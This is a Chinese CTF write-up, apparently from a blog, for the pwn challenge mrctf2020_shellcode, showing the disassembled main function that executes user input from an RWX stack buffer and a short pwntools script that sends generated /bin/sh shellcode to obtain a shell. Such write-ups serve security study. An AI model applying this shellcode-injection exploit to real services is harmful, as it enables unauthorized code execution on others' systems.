mrctf2020_shellcode

题目链接:mrctf2020_shellcode

下载附件后,使用 IDA 反汇编,定位到主要函数,如下。

.text:0000555555555155 ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:0000555555555155                 public main
.text:0000555555555155 main            proc near               ; DATA XREF: _start+1D↑o
.text:0000555555555155
.text:0000555555555155 buf             = byte ptr -410h
.text:0000555555555155 var_4           = dword ptr -4
.text:0000555555555155
.text:0000555555555155 ; __unwind { // 555555554000
.text:0000555555555155                 push    rbp
.text:0000555555555156                 mov     rbp, rsp
.text:0000555555555159                 sub     rsp, 410h
.text:0000555555555160                 mov     rax, cs:stdin@@GLIBC_2_2_5
.text:0000555555555167                 mov     esi, 0          ; buf
.text:000055555555516C                 mov     rdi, rax        ; stream
.text:000055555555516F                 call    _setbuf
.text:0000555555555174                 mov     rax, cs:stdout@@GLIBC_2_2_5
.text:000055555555517B                 mov     esi, 0          ; buf
.text:0000555555555180                 mov     rdi, rax        ; stream
.text:0000555555555183                 call    _setbuf
.text:0000555555555188                 mov     rax, cs:stderr@@GLIBC_2_2_5
.text:000055555555518F                 mov     esi, 0          ; buf
.text:0000555555555194                 mov     rdi, rax        ; stream
.text:0000555555555197                 call    _setbuf
.text:000055555555519C                 lea     rdi, s          ; "Show me your magic!"
.text:00005555555551A3                 call    _puts
.text:00005555555551A8                 lea     rax, [rbp+buf]
.text:00005555555551AF                 mov     edx, 400h       ; nbytes
.text:00005555555551B4                 mov     rsi, rax        ; buf
.text:00005555555551B7                 mov     edi, 0          ; fd
.text:00005555555551BC                 mov     eax, 0
.text:00005555555551C1                 call    _read
.text:00005555555551C6                 mov     [rbp+var_4], eax
.text:00005555555551C9                 cmp     [rbp+var_4], 0
.text:00005555555551CD                 jg      short loc_5555555551D6
.text:00005555555551CF                 mov     eax, 0
.text:00005555555551D4                 jmp     short locret_5555555551E4
.text:00005555555551D6 ; ---------------------------------------------------------------------------
.text:00005555555551D6
.text:00005555555551D6 loc_5555555551D6:                       ; CODE XREF: main+78↑j
.text:00005555555551D6                 lea     rax, [rbp+buf]
.text:00005555555551DD                 call    rax
.text:00005555555551DF                 mov     eax, 0
.text:00005555555551E4
.text:00005555555551E4 locret_5555555551E4:                    ; CODE XREF: main+7F↑j
.text:00005555555551E4                 leave
.text:00005555555551E5                 retn

通过分析,可以发现,栈空间为 RWX 权限,且程序会读取用户的输入,直接当作代码执行。

解题思路:

  1. 直接输入 ShellCode,即可 GetShell。

解题脚本如下。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    s(asm(shellcraft.sh()))
    irt()

pwn()
posted @ 2025-09-06 13:13  imtaieee  阅读(32)  评论(0)    收藏  举报